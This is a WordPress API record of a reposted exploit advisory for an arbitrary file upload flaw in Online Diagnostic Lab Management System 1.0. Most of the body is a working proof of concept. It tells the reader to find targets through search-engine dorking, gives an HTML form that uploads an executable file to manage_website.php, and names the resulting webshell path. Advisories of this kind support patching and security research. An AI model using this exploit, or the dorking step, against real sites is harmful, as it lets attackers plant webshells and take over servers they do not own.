{"id":59057,"date":"2024-08-21T16:40:39","date_gmt":"2024-08-21T13:40:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180300\/odlms10-upload.txt"},"modified":"2024-08-21T16:40:39","modified_gmt":"2024-08-21T13:40:39","slug":"online-diagnostic-lab-management-system-1-0-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-diagnostic-lab-management-system-1-0-arbitrary-file-upload\/","title":{"rendered":"Online Diagnostic Lab Management System 1.0 Arbitrary File Upload"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Online Diagnostic Lab Management System v1.0 Remote File Upload Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/php\/15667\/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following html code uploads a executable malicious file remotely .<\/p>\n[+] Go to the line 9.<\/p>\n[+] Set the target site link Save changes and apply . <\/p>\n[+] infected file : diagnostic\/manage_website.php.<\/p>\n[+] save code as poc.html .<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Upload Website Image&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/diagnostic\/manage_website.php&#8221; method=&#8221;POST&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;label for=&#8221;website_image&#8221;&gt;Upload Website Image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;website_image&#8221; name=&#8221;website_image&#8221; required&gt;<br \/>&lt;button type=&#8221;submit&#8221; name=&#8221;btn_web&#8221;&gt;Submit&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n[+] http:\/\/127.0.0.1\/diagnostic\/assets\/uploadImage\/Logo\/webadmin.php<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Online Diagnostic Lab Management System v1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/php\/15667\/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following html &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59057","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59057"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59057\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}